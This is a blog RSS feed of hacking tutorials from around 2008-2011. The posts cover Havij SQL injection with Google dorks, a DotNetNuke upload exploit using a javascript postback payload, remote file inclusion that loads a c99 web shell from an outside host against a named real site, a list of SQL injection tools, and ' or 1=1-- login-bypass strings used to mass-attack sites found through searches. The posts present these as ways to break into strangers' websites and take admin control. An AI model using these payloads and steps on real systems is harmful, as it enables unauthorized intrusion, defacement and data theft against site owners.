<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking Truths &#187; Server Hacking</title>
	<atom:link href="http://www.hungry-hackers.com/category/server-hacking/feed" rel="self" type="application/rss+xml" />
	<link>http://www.hungry-hackers.com</link>
	<description>Hacking is fun, If you are a &#34;Hacker&#34;!</description>
	<lastBuildDate>Wed, 11 Jan 2012 19:43:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>SQL Injection Using Havij</title>
		<link>http://www.hungry-hackers.com/2011/02/sql-injection-using-havij.html</link>
		<comments>http://www.hungry-hackers.com/2011/02/sql-injection-using-havij.html#comments</comments>
		<pubDate>Thu, 10 Feb 2011 03:42:40 +0000</pubDate>
		<dc:creator>Irfan Shakeel</dc:creator>
				<category><![CDATA[Hacking Forum]]></category>
		<category><![CDATA[Hacking Tutorials]]></category>
		<category><![CDATA[Hardcore Hacking]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[google dorks]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Havij]]></category>
		<category><![CDATA[penetration]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[vulnerablibity]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=1807</guid>
		<description><![CDATA[SQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of SQL Server for parsing and execution. Any procedure that constructs SQL statements should be reviewed for injection vulnerabilities because SQL Server will execute all syntactically valid queries that it receives. Even parameterized data can be manipulated by a skilled and determined attacker.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-1808" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/sql_img.jpg" alt="" width="300" height="225" />SQL injection is an attack in which malicious code is inserted into  strings that are later passed to an instance of SQL Server for parsing  and execution. Any procedure that constructs SQL statements should be  reviewed for injection vulnerabilities because SQL Server will execute  all syntactically valid queries that it receives. Even parameterized  data can be manipulated by a skilled and determined attacker.</p>
<p style="text-align: justify;"><span id="more-1807"></span>SQL Injection can be done by manually injection or via automatic tools. Automatic tools are easy to use and do not require much technical knowledge.</p>
<p style="text-align: justify;">In this tutorial we will discuss Havij. Havij is an automated SQL Injection tool that helps  penetration testers to find and exploit SQL Injection vulnerabilities on  a web page.</p>
<ul style="text-align: justify;">
<li>You can download havij from <a href="http://www.itsecteam.com/en/projects/project1.htm">here</a>.</li>
<li>We will use google dorks to find the vulnerable websites, there is a big list of google dorks  which I will post in my future articles but at this time we will only use the following:</li>
</ul>
<p style="text-align: justify;"><em> </em></p>
<blockquote style="text-align: justify;"><p><em>inurl:index.php?id=</em></p>
<p><em>inurl:trainers.php?id=</em></p>
<p><em>inurl:buy.php?category=</em></p>
<p style="text-align: justify;"><em>inurl:article.php?ID=</em></p>
</blockquote>
<p style="text-align: justify;"><em> </em></p>
<ul style="text-align: justify;">
<li>Just search google using one of the dork and you will see a lot of vulnerable websites.</li>
<li>Open any one of the website than put <em> &#8216;</em> after the link look:</li>
</ul>
<ul style="text-align: justify;">
<li>If you get the following SQL error, that means the website is vulnerable to SQL-injection attack.
<p style="text-align: center;"><img class="aligncenter size-full wp-image-1810" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/21.jpg" alt="" width="515" height="437" /></p>
</li>
<li>Now open Havij and paste the link without &#8216;
<p style="text-align: center;"><img class="size-medium wp-image-1813  aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/1-273x300.jpg" alt="" width="359" height="394" /></p>
<p style="text-align: center;"><img class="size-medium wp-image-1816  aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/myphoto2-274x300.jpg" alt="" width="364" height="399" /></p>
</li>
<li>Now we have to find the columns of the database.
<p style="text-align: center;"><img class="size-medium wp-image-1815  aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/myphoto3-274x300.jpg" alt="" width="366" height="399" /></p>
<p style="text-align: center;"><img class="size-medium wp-image-1819  aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/myphoto4-275x300.jpg" alt="" width="372" height="405" /></p>
</li>
<li>After this you will be able to find the admin id or password but remember normally web server uses MD5 encryption technique, you have to decrypt this password use havij option MD5 or you may read our tutorial on <a title="Cracking MD5" href="http://www.hungry-hackers.com/2008/06/cracking-md5.html" target="_blank">Cracking MD5</a>.</li>
</ul>
<p style="text-align: center;"><a href="http://www.hungry-hackers.com/wp-content/uploads/2011/02/myphoto5.jpg"><img class="size-medium wp-image-1818  aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/myphoto5-274x300.jpg" alt="" width="359" height="392" /></a></p>
<ul style="text-align: justify;">
<li>After decrypting the password, you have to find the admin login page of the website. To do that use Havij options.</li>
<li>Now you may login as the admin user and control the website as you want.</li>
<li>H@ppy H@cking</li>
</ul>
<p><strong>Video Tutorial</strong></p>
<p style="text-align: justify;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="play" value="false" /><param name="quality" value="high" /><param name="scale" value="showall" /><param name="src" value="http://www.youtube.com/v/Qvhdz8yE_po" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/Qvhdz8yE_po" scale="showall" quality="high" play="false"></embed></object></p>
<p style="text-align: justify;"><strong>About The Author</strong></p>
<p style="text-align: justify;"><strong>Irfan Shakeel </strong>is an  ethical hacker/penetration tester and he have found many bugs on the  famous web server. He is the founder of Ethical <a href="http://www.ehacking.net/" target="_blank">Hacking Blog.</a></p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=1807&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2011/02/sql-injection-using-havij.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>DNN (DotNetNuke) Hacking</title>
		<link>http://www.hungry-hackers.com/2011/02/dnn-dotnetnuke-hacking.html</link>
		<comments>http://www.hungry-hackers.com/2011/02/dnn-dotnetnuke-hacking.html#comments</comments>
		<pubDate>Sat, 05 Feb 2011 08:54:38 +0000</pubDate>
		<dc:creator>Irfan Shakeel</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Google Hacking]]></category>
		<category><![CDATA[Hacking Tutorials]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Dot Net Nuke]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=1744</guid>
		<description><![CDATA[<p>Hello Friends,</p>
<p>Today I will explain a new hacking technique known as DNN (DotNetNuke). I will show you how to hack a DNN website. Is it easy? Yes. It is easy compared to other hacking attacks such as SQL-Injection and Cross Site Scripting. I will teach you how to find your target and how to enter into the target website and upload your files.</p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify"><a href="http://www.hungry-hackers.com/wp-content/uploads/2011/02/5032283818_25b45d519c.jpg"><img class="alignleft size-medium wp-image-1750" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/5032283818_25b45d519c-300x225.jpg" alt="" width="300" height="225" /></a>Hello Friends,</p>
<p style="text-align: justify">Today I will explain a new hacking technique known as DNN (DotNetNuke). I will show you how to hack a DNN website. Is it easy? Yes. It is easy compared to other hacking attacks such as SQL-Injection and Cross Site Scripting. I will teach you how to find your target and how to enter into the target website and upload your files.</p>
<p style="text-align: justify">DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.<span id="more-1744"></span></p>
<p style="text-align: justify">Below are the easy steps to implement the attack:</p>
<ul style="text-align: justify">
<li>First use a google dork to find the appropriate target.</li>
</ul>
<blockquote><p><em> inurl:&#8221;/portals/0&#8243; site:.com </em></p></blockquote>
<ul style="text-align: justify">
<li>You can change com to your desired domain name like bd ph ae</li>
<li>Now search your website on the google after searching you will get many websites choose any one of it.</li>
</ul>
<ul style="text-align: justify">
<li>Its time to check the required vulnerability on the website just place this code after the web address.</li>
</ul>
<blockquote><p><em> Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx </em></p></blockquote>
<ul style="text-align: justify">
<li>For example if you got <em>www.victim.com</em></li>
<li>Replace it <em>www.victim.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx</em></li>
<li>If you will get this screen means this web is going to hack.</li>
</ul>
<p style="text-align: justify"><a href="http://www.hungry-hackers.com/wp-content/uploads/2011/02/dnn1.jpg"></a></p>
<p style="text-align: center"><a href="http://www.hungry-hackers.com/wp-content/uploads/2011/02/dnn1.jpg"><img class="size-medium wp-image-1745     aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/dnn1-300x279.jpg" alt="" width="300" height="279" /></a></p>
<p style="text-align: justify">
<ul style="text-align: justify">
<li>Now choose the third option &#8220;A File On Your Site&#8221; And than paste this java code on your address bar.</li>
</ul>
<blockquote><p>javascript:__doPostBack(&#8216;ctlURL$cmdUpload&#8217;,&#8221;)</p></blockquote>
<ul style="text-align: justify">
<li>It will allow you to upload a files on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.</li>
</ul>
<p style="text-align: justify">
<ul style="text-align: justify">
<li>After uploading files you can find your file on this address www.victim.com/portals/0/yourfile.extension</li>
</ul>
<p style="text-align: justify">here extension is txt jpg swf etc.</p>
<ul style="text-align: justify">
<li>In our case</li>
</ul>
<blockquote><p><em>www.victim.com/portals/0/b.txt </em></p></blockquote>
<p style="text-align: left"><a href="http://www.hungry-hackers.com/wp-content/uploads/2011/02/dnn3.jpg"><img class="size-medium wp-image-1746   aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2011/02/dnn3-300x176.jpg" alt="" width="300" height="176" /></a><strong> </strong></p>
<p style="text-align: left">
<p style="text-align: left"><strong>About The Author</strong></p>
<p style="text-align: left"><strong>Irfan Shakeel </strong>is an ethical hacker/penetration tester and he have found many bugs on the famous web server. He is the founder of Ethical <a href="http://www.ehacking.net" target="_blank">Hacking Blog.</a></p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=1744&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2011/02/dnn-dotnetnuke-hacking.html/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Hack a Website Using Remote File Inclusion</title>
		<link>http://www.hungry-hackers.com/2010/08/hack-a-website-using-remote-file-inclusion.html</link>
		<comments>http://www.hungry-hackers.com/2010/08/hack-a-website-using-remote-file-inclusion.html#comments</comments>
		<pubDate>Mon, 23 Aug 2010 08:00:53 +0000</pubDate>
		<dc:creator>rafay</dc:creator>
				<category><![CDATA[Hacking Tutorials]]></category>
		<category><![CDATA[Hardcore Hacking]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[remote file]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[vulerability]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=1606</guid>
		<description><![CDATA[Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify">Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it.</p>
<p style="text-align: center"><a href="http://www.hungry-hackers.com/wp-content/uploads/2010/08/Server-Hacking.jpg"><img class="size-full wp-image-1613  aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2010/08/Server-Hacking.jpg" alt="" width="400" height="267" /></a></p>
<p style="text-align: justify"><strong>Searching the Vulnerability </strong></p>
<p style="text-align: justify">Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one</p>
<blockquote><p><em>www.Targetsite.com/index.php?page=Anything</em></p></blockquote>
<p style="text-align: justify">To find the vulnerability the hacker will most commonly  use the following Google Dork</p>
<blockquote><p><em>&#8220;inurl:index.php?page=&#8221;</em></p></blockquote>
<p style="text-align: justify"><strong><span style="font-weight: normal">This will show all the pages which has &#8220;</span>index.php?page=<span style="font-weight: normal">&#8221; in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command</span></strong></p>
<blockquote><p><em>www.targetsite.com/index.php?page=www.google.com</em></p></blockquote>
<p style="text-align: justify">Lets say that the target website is <em>http://www.cbspk.com</em></p>
<p style="text-align: justify">So the hacker url will become</p>
<blockquote><p><em>http://www.cbspk.com/v2/index.php?page=http://www.google.com</em></p></blockquote>
<p style="text-align: justify">If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack</p>
<p style="text-align: center"><a href="http://www.hungry-hackers.com/wp-content/uploads/2010/08/Remote-file.bmp"><img class="size-full wp-image-1607   aligncenter" src="http://www.hungry-hackers.com/wp-content/uploads/2010/08/Remote-file.bmp" alt="" width="550" height="341" /></a></p>
<p style="text-align: justify"><strong><span style="font-weight: normal">Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:</span></strong></p>
<blockquote><p><em>http://www.4shared.com/file/107930574/287131f0/c99shell.html?aff=7637829</em></p></blockquote>
<p style="text-align: justify"><strong><span style="font-weight: normal">The hacker would first upload the shells to a webhosting site such as ripway.com, 110mb.com etc. </span></strong></p>
<p style="text-align: justify"><strong><span style="font-weight: normal">Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is</span></strong></p>
<blockquote><p><em>http://h1.ripway.com/rafaybaloch/c99.txt</em></p></blockquote>
<p style="text-align: justify"><strong><span style="font-weight: normal"> Now here is how a hacker would execute the following command to gain access</span></strong></p>
<blockquote><p><em><span style="font-weight: normal">http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/rafaybaloch/c99.txt?</span></em></p></blockquote>
<p style="text-align: justify"><strong><span style="font-weight: normal">Remember to add &#8220;?&#8221; at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it</span></strong></p>
<p style="text-align: justify"><strong>About the Author</strong></p>
<p style="text-align: justify">This is a guest post by Rafay baloch. Rafay Baloch is a the founder of <a title="Rafay Hacking Articles" href="http://rafayhackingarticles.blogspot.com/" target="_blank">Rafay Hacking Articles</a> and the writer of the book <a href="www.hacking-book.com" target="_blank">A Beginners Guide To Ethical Hacking</a></p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=1606&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2010/08/hack-a-website-using-remote-file-inclusion.html/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Top 15 SQL Injection Scanners</title>
		<link>http://www.hungry-hackers.com/2008/10/top-15-sql-injection-scanners.html</link>
		<comments>http://www.hungry-hackers.com/2008/10/top-15-sql-injection-scanners.html#comments</comments>
		<pubDate>Fri, 03 Oct 2008 17:47:03 +0000</pubDate>
		<dc:creator>Ashik</dc:creator>
				<category><![CDATA[Cool Tricks]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[Downloads]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tips n Tricks]]></category>
		<category><![CDATA[Developers]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[Scanner]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=356</guid>
		<description><![CDATA[Web applications allow visitors to submit and retrieve data to/from a database over the Internet. Databases are the heart of most web applications. They hold data needed for web applications to deliver specific content to visitors and provide information to customers, suppliers etc.

SQL Injection is perhaps the most common web-application hacking technique which attempts to pass SQL commands through a web application for execution by the back-end database. The vulnerability is presented when user input is incorrectly sanitized and thereby executed.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">If you are not aware of SQL Injection Attack and How it works you need to read my previous article &#8220;<a rel="bookmark" href="http://www.hungry-hackers.com/2008/01/top-10-tricks-to-exploit-sql-server-systems.html">Top 10 Tricks to exploit SQL Server Systems</a>&#8221; .</p>
<p style="text-align: justify;">While the adoption of web applications for conducting online business has enabled companies to connect seamlessly with their customers, it has also exposed a number of security concerns stemming from improper coding. Vulnerabilities in web applications allow hackers to gain direct and public access to sensitive information (e.g. personal data, login credentials).</p>
<p style="text-align: justify;">Web applications allow visitors to submit and retrieve data to/from a database over the Internet. Databases are the heart of most web applications. They hold data needed for web applications to deliver specific content to visitors and provide information to customers, suppliers etc.</p>
<p style="text-align: justify;"><strong>SQL Injection</strong> is perhaps the most common web-application hacking technique which attempts to pass SQL commands through a web application for execution by the back-end database. The vulnerability is presented when user input is incorrectly sanitized and thereby executed.</p>
<p style="text-align: justify;">Checking for <strong>SQL Injection</strong> vulnerabilities involves auditing your web applications and the best way to do it is by using automated SQL Injection Scanners. We’ve compiled a list of free <strong>SQL Injection Scanners</strong> we believe will be of a value to both web application developers and professional security auditors.</p>
<p style="text-align: justify;"><strong>SQLIer</strong> &#8211; SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all. <a href="http://bcable.net/project.php?sqlier" target="_blank">Get SQLIer</a>.</p>
<p style="text-align: justify;"><strong>SQLbftools</strong> &#8211;  SQLbftools is a collection of tools to retrieve MySQL information available using a blind SQL Injection attack. <a href="http://www.reversing.org/node/view/11" target="_blank">Get SQLbftools</a>.</p>
<p style="text-align: justify;"><strong>SQL Injection Brute-forcer</strong> &#8211; SQLibf is a tool for automatizing the work of detecting and exploiting SQL Injection vulnerabilities. SQLibf can work in Visible and Blind SQL Injection. It works by doing simple logic SQL operations to determine the exposure level of the vulnerable application. <a href="http://www.open-labs.org/sqlibf19beta1.tar.gz" target="_blank">Get SQLLibf</a>.</p>
<p style="text-align: justify;"><strong>SQLBrute</strong> &#8211; SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn’t require non-standard libraries. <a href="http://www.justinclarke.com/security/sqlbrute.py" target="_blank">Get SQLBrute</a>.</p>
<p style="text-align: justify;"><strong>BobCat</strong> &#8211; BobCat is a tool to aid an auditor in taking full advantage of SQL injection vulnerabilities. It is based on <a href="http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf" target="_blank">AppSecInc</a> research. It can list the linked severs, database schema, and allow the retrieval of data from any table that the current application user has access to. <a href="http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html" target="_blank">Get BobCat</a>.</p>
<p style="text-align: justify;"><strong>SQLMap</strong> &#8211; SQLMap is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of SQLMap is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities. <a href="http://sqlmap.sourceforge.net/" target="_blank">Get SQLMap</a>.</p>
<p style="text-align: justify;"><span class="style1"><strong>Absinthe</strong> &#8211; </span><span class="style1"> Absinthe is a GUI-based tool that automates the process of downloading the schema and contents of a database that is vulnerable to Blind SQL Injection. <a href="http://www.0x90.org/releases/absinthe/download.php" target="_blank">Get Absinthe</a>.</span></p>
<p style="text-align: justify;"><strong>SQL Injection Pen-testing Tool</strong> &#8211; <span style="color: #000000;">The SQL Injection Tool is a GUI-based utility designed to examine database through vulnerabilities in web-applications.</span> <a href="http://sqltool.itdefence.ru/indexeng.html" target="_blank">Get SQL Injection Pen-testing tool</a>.</p>
<p style="text-align: justify;"><span class="hd1"><strong>SQID</strong> &#8211; </span> SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities. <a href="http://sqid.rubyforge.org/" target="_blank">Get SQID</a>.</p>
<p style="text-align: justify;"><strong>Blind SQL Injection Perl Tool</strong> &#8211;  	    bsqlbf is a Perl script that lets auditors retrieve information from web sites that are vulnerable to SQL Injection. <a href="http://www.unsec.net/download/bsqlbf.pl" target="_blank">Get Blind SQL Injection Perl Tool</a>.</p>
<p style="text-align: justify;"><strong>SQL Power <span style="text-decoration: line-through;">Injection</span> Injector</strong> &#8211; SQL Power Injection helps the penetration tester to inject SQL commands on a web page. It’s main strength is its capacity to automate tedious blind SQL injection with several threads. <a href="http://www.sqlpowerinjector.com/" target="_blank">Get SQL Power Injection</a>.</p>
<p style="text-align: justify;"><strong>FJ-Injector Framwork</strong> &#8211; FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities in web applications. It includes a proxy feature for intercepting and modifying HTTP requests, and an interface for automating SQL injection exploitation. <a href="http://sourceforge.net/project/showfiles.php?group_id=183841" target="_blank">Get FJ-Injector Framework</a>.</p>
<p style="text-align: justify;"><strong>SQLNinja</strong> &#8211; SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end database. <a href="http://sqlninja.sourceforge.net/" target="_blank">Get SQLNinja</a>.</p>
<p style="text-align: justify;"><strong>Automagic SQL Injector</strong> &#8211; The Automagic SQL Injector is an automated SQL injection tool designed to help save time on penetration testing. It is only designed to work with vanilla Microsoft SQL injection holes where errors are returned. <a href="http://www.indianz.ch/tools/attack/automagic.zip" target="_blank">Get Automagic SQL Injector</a>.</p>
<p style="text-align: justify;"><strong>NGSS SQL Injector</strong> &#8211; NGSS SQL Injector exploit vulnerabilities in SQL injection on disparate database servers to gain access to stored data. It currently supports the following databases: Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase. <a href="http://www.indianz.ch/tools/attack/sqlinjector.zip" target="_blank">Get NGSS SQL Injector</a>.</p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=356&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2008/10/top-15-sql-injection-scanners.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>List of all the SQL Injection Strings</title>
		<link>http://www.hungry-hackers.com/2008/09/list-of-all-the-sql-injection-strings.html</link>
		<comments>http://www.hungry-hackers.com/2008/09/list-of-all-the-sql-injection-strings.html#comments</comments>
		<pubDate>Sun, 28 Sep 2008 06:27:58 +0000</pubDate>
		<dc:creator>Ashik</dc:creator>
				<category><![CDATA[Bad Boy]]></category>
		<category><![CDATA[Cool Tricks]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[Hacking Tutorials]]></category>
		<category><![CDATA[Hardcore Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hardcore]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=354</guid>
		<description><![CDATA[One of the major problems with SQL is its poor security issues surrounding is the login and url strings. This tutorial is not going to go into detail on why these string work as all these details have been given in my previous article Top 10 Tricks to exploit SQL Server Systems.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">One of the major problems with SQL is its poor security issues surrounding is the login and url strings. This tutorial is not going to go into detail on why these string work as all these details have been given in my previous article <a title="Permanent Link: Top 10 Tricks to exploit SQL Server Systems" rel="bookmark" href="http://www.hungry-hackers.com/2008/01/top-10-tricks-to-exploit-sql-server-systems.html">Top 10 Tricks to exploit SQL Server Systems</a> .</p>
<p style="text-align: justify;">First SEARCH the following Keywords in Google or any Search Engine:</p>
<p style="text-align: justify;">admin\login.asp<br />
login.asp</p>
<p style="text-align: justify;">with these two search string you will have plenty of targets to chose from&#8230;choose one that is Vulnerable</p>
<p style="text-align: justify;"><strong>INJECTION STRINGS: How to use it?</strong></p>
<p style="text-align: justify;">This is the easiest part&#8230;very simple</p>
<p style="text-align: justify;">On the login page just enter something like</p>
<p style="text-align: justify;">user:admin (you dont even have to put this.)<br />
pass:&#8217; or 1=1&#8211;</p>
<p style="text-align: justify;">or</p>
<p style="text-align: justify;">user:&#8217; or 1=1&#8211;<br />
admin:&#8217; or 1=1&#8211;</p>
<p style="text-align: justify;">Some sites will have just a password so</p>
<p style="text-align: justify;">password:&#8217; or 1=1&#8211;</p>
<p style="text-align: justify;">In fact I have compiled a <a title="Combo List" href="#combolist" target="_self">combo list</a> with strings like this to use on my chosen targets . There are plenty of strings in the list below. There are many other strings involving for instance UNION table access via reading the error pages table structure thus an attack with this method will reveal eventually admin U\P paths.</p>
<p style="text-align: justify;">The one I am interested in are quick access to targets</p>
<p style="text-align: justify;"><strong>PROGRAM</strong></p>
<p style="text-align: justify;">i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit of success with a combo list formatted this way. Yesteday I loaded 40 eastern targets with 18 positive hits in a few minutes how long would it take to go through 40 sites cutting and pasting each string</p>
<p style="text-align: justify;"><strong>combo example:</strong></p>
<p style="text-align: justify;">admin:&#8217; or a=a&#8211;<br />
admin:&#8217; or 1=1&#8211;</p>
<p style="text-align: justify;">And so on. You don&#8217;t have to be admin and still can do anything you want. The most important part is example:&#8217; or 1=1&#8211; this is our basic injection string</p>
<p style="text-align: justify;">Now the only trudge part is finding targets to exploit. So I tend to search say google for login.asp or whatever</p>
<p style="text-align: justify;">inurl:login.asp<br />
index of:/admin/login.asp</p>
<p style="text-align: justify;">like this: index of login.asp</p>
<p style="text-align: justify;">result:</p>
<p style="text-align: justify;"><a href="http://www3.google.com/search?hl=en&amp;ie=ISO...G=Google+Search" target="_blank"><span style="text-decoration: underline;"><span style="color: blue;">http://www3.google.com/search?hl=en&amp;ie=ISO&#8230;G=Google+Search</span></span></a></p>
<p style="text-align: justify;">17,000 possible targets trying various searches spews out plent more</p>
<p style="text-align: justify;">Now using proxy set in my browser I click through interesting targets. Seeing whats what on the site pages if interesting I then cut and paste URL as a possible target. After an hour or so you have a list of sites of potential targets like so</p>
<p style="text-align: justify;"><a href="http://www.somesite.com/login.asp" target="_blank"><span style="color: blue;"><span style="text-decoration: underline;">http://www.somesite.com/login.asp</span></span></a><br />
<a href="http://www.another.com/admin/login.asp" target="_blank"><span style="text-decoration: underline;"><span style="color: blue;">http://www.another.com/admin/login.asp</span></span></a></p>
<p style="text-align: justify;">and so on. In a couple of hours you can build up quite a list because I don&#8217;t select all results or spider for log in pages. I then save the list fire up Ares and enter</p>
<p style="text-align: justify;">1) A Proxy list<br />
2) My Target IP list<br />
3) My Combo list<br />
4) Start.</p>
<p style="text-align: justify;">Now I dont want to go into problems with users using Ares..thing is i know it works for me&#8230;</p>
<p style="text-align: justify;">Sit back and wait. Any target vulnerable will show up in the hits box. Now when it finds a target it will spew all the strings on that site as vulnerable. You have to go through each one on the site by cutting and pasting the string till you find the right one. But the thing is you know you CAN access the site. Really I need a program that will return the hit with a click on url and ignore false outputs. I am still looking for it. This will saves quite a bit of time going to each site and each string to find its not exploitable.</p>
<p style="text-align: justify;">There you go you should have access to your vulnerable target by now</p>
<p style="text-align: justify;">Another thing you can use the strings in the urls were user=? edit the url to the = part and paste &#8216; or 1=1&#8211; so it becomes</p>
<p style="text-align: justify;">user=&#8217; or 1=1&#8211; just as quick as login process</p>
<p style="text-align: justify;"><a name="combolist"></a><strong>Combo List</strong></p>
<p style="text-align: justify;"><span style="text-decoration: line-through;">There are lot of other variations of the Injection String which I cannot put on my blog because that is Illegal. If you are interested I can send it to you through Email. Just write in your email address in comment and I will send it to you as early as possible but you need to remain patient it may take 1 or 2 days.</span></p>
<p style="text-align: justify;">As a result of a lot of requests for the list of SQL Injection String and due to lack of time on our behalf to respond to your Comments we have now decided to give the download link for the list of SQL Injection Strings. Now you just need to Subscribe to our RSS Feed via Email and get the Download link at the bottom of the Confirmation Email. Please don&#8217;t Forget to click on the Confirmation Link given in that Email.</p>
<p style="text-align: justify;">Here is the form to Subscribe to our RSS feed via Email:</p>
<form style="border: 0px solid #cccccc; padding: 3px; text-align: justify;" action="http://www.feedburner.com/fb/a/emailverify" method="post">
<input id="feed_form" style="width: 250px;" onclick="this.value='';" name="email" type="text" value="Enter your Email Address" />
<input name="url" type="hidden" value="http://feeds.feedburner.com/~e?ffid=1825094" />
<input name="title" type="hidden" value="Hacking Truths" />
